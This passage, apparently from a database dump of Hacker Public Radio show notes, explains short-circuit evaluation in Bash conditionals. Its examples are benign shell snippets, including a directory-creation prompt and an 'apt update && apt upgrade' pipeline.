part 2”</a>.</li>\n</ul>\n<p>The requirement was that if <code>YES</code> was set to 1 I didn’t want the function to be called at all.</p>\n<p>I was a little surprised, and very happy, to find that this is what happens.</p>\n<p>Here is the full example from the script that started me thinking about this issue - and therefore caused me to make this show:</p>\n<pre><code>#\n# We need a show directory. If it doesn&#39;t exist then we&#39;ll create it because\n# other scripts will use it.\n#\nif [[ ! -d $SHOWDIR ]]; then\n    echo &quot;${red}There is no directory for show $show${reset}&quot;\n\n    #\n    # If the -Y option was not chosen ask with &#39;yes_no&#39;. It -Y was chosen\n    # we&#39;re to go ahead regardless. This relies on the fact that Bash\n    # &quot;short-circuits&quot; logical expressions like this.\n    #\n    if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n        mkdir &quot;$SHOWDIR&quot;\n        _silent &quot;${green}Directory created for show $show${reset}&quot;\n    else\n        _silent &quot;${yellow}Not changed${reset}&quot;\n    fi\nfi</code></pre>\n<p><strong>Notes</strong>:</p>\n<ul>\n<li>I have a Bash function that defines colours which is included into this script. That’s why you see <code>\'echo \"${red}...${reset}\"\'</code> in the above. I also have a function to turn off colour by setting the relevant variables to empty strings.</li>\n<li>The <code>\'yes_no\'</code> function takes a prompt string with an (optional) <code>\'%s\'</code> placeholder for the expected inputs and default. This is followed by the default: <code>\'N\'</code>.</li>\n<li>The function <code>\'_silent\'</code> writes the message given as its argument, depending on the setting of a <code>\'SILENT\'</code> variable set earlier.</li>\n</ul>\n<h2 id=\"should-it-be-used\">Should it be used?</h2>\n<h3 id=\"case-1\">Case 1</h3>\n<p>Bash uses short-circuiting in other contexts. This was discussed in the <em>Bash Tips</em> series, <a href=\"https://hackerpublicradio.org/eps.php?id=2649\">episode 10</a> with the example:</p>\n<pre><code>[ -e /some/file ] || exit 1</code></pre>\n<p>Here the test is performed using <code>\'-e\'</code> to determine if <code>\'/some/file\'</code> exists. The result is either <strong>true</strong> or <strong>false</strong>. If the test returns <strong>true</strong> then the overall result of the <em>or</em> is <strong>true</strong> and the evaluation is short-circuited so that the <code>\'exit 1\'</code> is not invoked. If the test is <strong>false</strong> then the second expression has to be evaluated to determine the overall result, so the <code>\'exit 1\'</code> is invoked and the script exits.</p>\n<p>Incidentally, the <code>\'[ -e file ]\'</code> construct is actually an instance of the <code>test</code> command so could be written:</p>\n<pre><code>test -e /some/file || exit 1</code></pre>\n<p>You might be familiar with command pipelines which use this technique, such as:</p>\n<pre><code>sudo apt update &amp;&amp; sudo apt upgrade</code></pre>\n<p>If the <code>\'apt update\'</code> is successful the <code>\'apt upgrade\'</code> is run. If it fails then the second command is not run.</p>\n<h3 id=\"case-2\">Case 2</h3>\n<p>We have seen the example that prompted me to make this show:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<p>This could have been written as:</p>\n<pre><code>if [[ $YES -eq 1 ]]; then\n    # Create directory\nelif yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<p>I prefer the first way, but it could be argued in a development environment that co-workers might find it confusing.</p>\n<h3 id=\"conclusion\">Conclusion</h3>\n<p>So, my conclusion is that short-circuiting is a desirable feature that I will continue to use.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Wikipedia:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Wikipedia article on short-circuit evaluation</a>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\">Table entitled <em>Boolean operators in various languages</em></a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Conditional_(programming)\">Wikipedia article on conditional constructs in programming</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Truth-value\">Wikipedia article on Truth values in logic, mathematics and programming</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR shows:\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2096\"><em>Useful Bash functions - part 2</em></a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\"><em>More ancillary Bash tips - 10</em></a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash,Boolean expression,short-circuit evaluation',0,0,1),
